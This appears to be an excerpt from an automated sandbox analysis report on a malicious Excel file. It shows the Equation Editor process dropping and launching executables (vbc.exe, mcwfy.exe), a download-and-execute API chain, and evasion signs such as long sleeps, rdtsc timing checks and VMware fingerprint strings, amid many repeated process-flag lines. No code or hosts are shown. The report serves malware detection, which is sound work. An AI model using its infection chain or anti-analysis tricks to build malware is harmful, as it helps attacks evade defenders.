Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\mcwfy.exe Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Contains functionality to download and launch executables
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035B0646 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035B0646
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\README (2).txt Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\README (3).txt Jump to behavior

Boot Survival
barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: d0#U10dc.xls Stream path 'MBD00A59CF1/CONTENTS' entropy: 7.91892112048 (max. 8.0)
Source: d0#U10dc.xls Stream path 'MBD00A59CF2/CONTENTS' entropy: 7.94924924846 (max. 8.0)
Source: d0#U10dc.xls Stream path 'MBD00A59CF3/CONTENTS' entropy: 7.97730217525 (max. 8.0)
Source: d0#U10dc.xls Stream path 'MBD00A59CF5/CONTENTS' entropy: 7.97730217525 (max. 8.0)
Source: d0#U10dc.xls Stream path 'MBD00A59CF7/CONTENTS' entropy: 7.97730217525 (max. 8.0)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1580 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 1944 Thread sleep count: 40 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 1940 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 3560 Thread sleep time: -60000s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\wscript.exe Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00990101 rdtsc 8_2_00990101
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: explorer.exe, 0000000C.00000002.1193710945.0000000008675000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 0000000C.00000002.1186521094.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: War_VMware_SATA_CD01_______________1
Source: explorer.exe, 0000000C.00000000.1039865017.00000000043F0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: wscript.exe, 00000010.00000002.1184336192.000000000069C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: explorer.exe, 0000000C.00000002.1184285879.000000000037B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.08tp
Source: explorer.exe, 0000000C.00000000.1039865017.0000000004423000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000C.00000000.1046750282.000000000869E000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0e
Source: explorer.exe, 0000000C.00000000.1039865017.000000000434F000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0Q
